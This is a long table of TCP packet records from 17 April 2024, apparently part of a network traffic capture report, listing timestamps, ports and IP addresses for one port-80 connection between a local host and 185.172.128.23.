Apr 17, 2024 09:17:03.317707062 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.317717075 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.317745924 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.317758083 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.317784071 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.317794085 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.317825079 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.317832947 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.317862034 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.317872047 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.317899942 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.317918062 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.317941904 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.317949057 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.317981958 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.317995071 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.318022966 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.318030119 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.318063021 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.318074942 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.318103075 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.318113089 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.318140984 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.318149090 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.318176031 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.318181992 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.318216085 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.318227053 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.318253040 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.318263054 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.318290949 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.318298101 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.318327904 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.318341970 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.318368912 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.318378925 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.318408012 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.318418980 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.318444014 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.318454027 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.318485022 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.318501949 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.318522930 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.318533897 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.318562984 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.318574905 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.318603039 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.318612099 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.318641901 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.318651915 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.318681002 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.318690062 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.318721056 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.318731070 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.318761110 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.318773985 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.318808079 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.524266005 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.524326086 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.524354935 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.524394035 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.524432898 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.524442911 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.524473906 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.524508953 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.524513006 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.524533033 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.524554014 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.524574041 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.524614096 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.524635077 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.524652958 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.524662971 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.524692059 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.524704933 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.524730921 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.524743080 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.524780989 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.524781942 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.524821043 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.524830103 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.524859905 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.524872065 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.524899960 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.524909973 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.524940968 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.525084019 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.525250912 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.525448084 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.525486946 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.525501966 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.525537014 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.525624990 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.525661945 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.525676012 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.525698900 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.525711060 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.525737047 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.525747061 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.525777102 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.525799036 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.525815964 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.525830030 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.525856018 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.525887966 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.525892973 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.525901079 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.525974989 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.525985956 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.526012897 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.526020050 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.526052952 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.526063919 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.526091099 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.526103973 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.526128054 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.526144981 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.526166916 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.526179075 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.526205063 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.526218891 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.526242971 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.526252985 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.526278973 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.526293993 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.526315928 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.526329041 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.526354074 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.526365042 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.526393890 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.526402950 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.526444912 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.732449055 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.732551098 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.732569933 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.732588053 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.732604027 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.732624054 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.732634068 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.732639074 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.732654095 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.732672930 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.732680082 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.732690096 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.732707024 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.732723951 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.732741117 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.732755899 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.732759953 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.732769966 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.732778072 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.732795000 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.732867002 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.732884884 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.732889891 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.732903004 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.732914925 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.732920885 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.732938051 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.732959986 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.732991934 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.733045101 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733083010 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.733192921 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733210087 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733226061 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733238935 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.733243942 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733261108 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733266115 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.733278036 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733287096 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.733295918 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733313084 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733329058 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733336926 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.733345985 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733355045 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.733364105 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733380079 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733386993 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.733398914 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733417034 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733433008 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733433962 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.733450890 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733455896 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.733468056 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733478069 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.733506918 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.733515978 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733532906 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733551979 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733560085 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.733568907 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733586073 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733601093 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733608007 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.733625889 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733647108 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733654022 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.733665943 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733675957 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.733684063 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733700991 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733715057 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.733717918 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733733892 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733751059 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733757019 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.733767986 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733783960 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733789921 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.733800888 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733813047 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.733820915 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733839035 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733846903 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.733855963 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733867884 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.733872890 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733890057 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733906031 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733913898 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.733922005 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733941078 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733957052 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733963013 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.733974934 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733990908 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.733995914 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.734009027 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734021902 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.734026909 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734045029 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734049082 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.734061956 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734080076 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734083891 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.734097004 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734113932 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734122992 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.734133959 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734150887 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734157085 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.734169960 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734175920 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.734186888 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734203100 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734217882 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.734221935 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734240055 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734256029 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734262943 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.734272957 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734283924 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.734292030 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734308004 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734317064 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.734324932 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734343052 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734349966 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.734380960 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734390974 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.734396935 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734412909 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734430075 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734435081 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.734447002 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734463930 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734477043 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.734479904 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734497070 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734503984 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.734514952 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734530926 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734548092 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734556913 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.734566927 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734585047 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734592915 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.734607935 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734625101 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734627962 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.734643936 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734662056 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734664917 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.734678984 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734698057 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734705925 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.734714031 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734721899 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.734731913 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734747887 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734755039 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.734765053 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734772921 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.734782934 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734800100 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734811068 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.734816074 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734834909 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734852076 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734857082 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.734870911 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734875917 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.734889030 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734898090 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.734905958 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734925032 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734937906 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.734941959 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734957933 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734975100 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734977961 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.734992027 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.734999895 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.735011101 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735028028 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735033989 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.735047102 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735064983 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735080957 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735089064 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.735097885 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735115051 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735131979 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735138893 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.735150099 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735156059 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.735167027 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735177040 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.735183001 CEST	80	49704	185.172.128.23	192.168.2.5
